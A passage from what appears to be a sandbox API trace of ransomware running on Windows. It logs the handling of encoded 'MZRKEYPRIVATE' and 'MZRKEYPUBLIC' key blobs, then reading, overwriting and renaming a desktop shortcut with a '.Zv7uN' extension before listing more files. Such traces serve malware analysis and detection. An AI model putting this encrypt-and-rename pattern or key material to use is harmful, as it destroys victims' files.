UoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.696] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0127.697] GetCurrentThreadId () returned 0xa30 [0127.697] GetCurrentThreadId () returned 0xa30 [0127.697] GetCurrentThreadId () returned 0xa30 [0127.697] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.697] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.698] GetCurrentThreadId () returned 0xa30 [0127.698] GetCurrentThreadId () returned 0xa30 [0127.698] GetCurrentThreadId () returned 0xa30 [0127.698] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\Adobe Reader X.lnk" (normalized: "c:\\users\\public\\desktop\\adobe reader x.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0127.698] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0127.698] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.698] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x7e9 [0127.699] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.699] ReadFile (in: hFile=0x128, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x7e9, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0x7e9, lpOverlapped=0x0) returned 1 [0127.701] CloseHandle (hObject=0x128) returned 1 [0127.701] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\Adobe Reader X.lnk" (normalized: "c:\\users\\public\\desktop\\adobe reader x.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0127.704] WriteFile (in: hFile=0x128, lpBuffer=0x1ef2040*, nNumberOfBytesToWrite=0x7e9, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1ef2040*, lpNumberOfBytesWritten=0x18f978*=0x7e9, lpOverlapped=0x0) returned 1 [0127.706] CloseHandle (hObject=0x128) returned 1 [0127.706] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Desktop\\Adobe Reader X.lnk" (normalized: "c:\\users\\public\\desktop\\adobe reader x.lnk"), lpNewFileName="C:\\Users\\Public\\Desktop\\Adobe Reader X.lnk.Zv7uN" (normalized: "c:\\users\\public\\desktop\\adobe reader x.lnk.zv7un")) returned 1 [0127.707] GetCurrentThreadId () returned 0xa30 [0127.707] GetCurrentThreadId () returned 0xa30 [0127.707] GetCurrentThreadId () returned 0xa30 [0127.707] GetCurrentThreadId () returned 0xa30 [0127.708] GetCurrentThreadId () returned 0xa30 [0127.708] GetCurrentThreadId () returned 0xa30 [0127.708] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2826d6cd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2826d6cd, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28860dd8, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x25bae6f2, dwReserved1=0xba1113e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0127.708] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.708] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.708] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df21ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df21ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df21ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8d1, dwReserved0=0x25bae6f2, dwReserved1=0xba1113e9, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0127.708] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.708] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.708] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df21ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df21ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df21ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8d1)) returned 1 [0127.708] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk")) returned 0x20 [0127.708] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Desktop\\Google Chrome.lnk", dwFileAttributes=0x80) returned 1 [0127.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwp